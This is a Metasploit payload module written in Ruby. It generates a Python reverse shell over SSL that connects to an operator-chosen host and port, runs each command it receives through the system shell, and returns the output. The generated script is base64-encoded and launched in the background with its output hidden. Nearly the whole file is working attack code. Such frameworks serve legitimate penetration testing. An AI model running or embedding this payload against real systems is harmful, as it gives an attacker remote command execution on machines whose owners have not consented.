## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module MetasploitModule CachedSize = 587 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', 'RequiredCmd' => 'python', 'Payload' => { 'Offsets' => { }, 'Payload' => '' } )) end # # Constructs the payload # def generate vprint_good(command_string) return super + command_string end # # Returns the command string to use for execution # def command_string cmd = '' dead = Rex::Text.rand_text_alpha(2) # Set up the socket cmd += "import socket,subprocess,os,ssl\n" cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" cmd += "s=ssl.wrap_socket(so)\n" # The actual IO cmd += "#{dead}=False\n" cmd += "while not #{dead}:\n" cmd += "\tdata=s.recv(1024)\n" cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.send(stdout_value)\n" # The *nix shell wrapper to keep things clean # Base64 encoding is required in order to handle Python's formatting requirements in the while loop cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\"" cmd += ' >/dev/null 2>&1 &' return cmd end end